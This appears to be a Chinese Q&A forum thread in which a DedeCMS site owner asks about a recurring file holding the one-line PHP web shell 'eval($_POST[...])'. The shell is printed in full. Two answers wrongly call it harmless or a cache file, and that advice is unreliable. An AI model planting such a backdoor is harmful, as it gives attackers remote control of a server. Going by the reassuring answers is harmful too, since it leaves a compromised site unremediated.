Question

网站中出现<?php eval($_POST['posha']);?> 这段代码？什么意思？

DEDECMS后台病毒检测哪里，检测出一个php的文件，在/data/cache/这个文件夹下有这个po.php文件，我查看了一下源代码，只有一句话“<?php eval($_POST['posha']);?> ” 请问这句话什么意思，我在网上搜了一下，不是很了解，谁能告诉我这句代码做什么用的，我在空间里删除了之后又出现了这个文件，删除不掉，怎么办啊，是不是中毒了？如何防范这种代码？在哪里彻底清除啊？谢谢！！！

Answer 1

这是一个合法的php函数。
eval函数。如果$_POST['posha']，这个字符串中有可计算的，执行计算
你看一下问题是否出在别的地方，这个函数本身是没有错的

Answer 2

php 的 eval 函数是把他的参数字符串当作php代码来执行。也就是把post过去的pssha当作代码去执行。你可也print_r($_POST['posha']);看看内容是什么。

Answer 3

获取通过POST 的 posha 数据 然后再执行!
DEDECMS 后台有安全检测的 也可以百度下 PHP木马检测 应该也能找到很多类似的程序

Answer 4

这个文件应该是临时缓存文件 你删了后还会生成的 这个函数应该不会出什么问题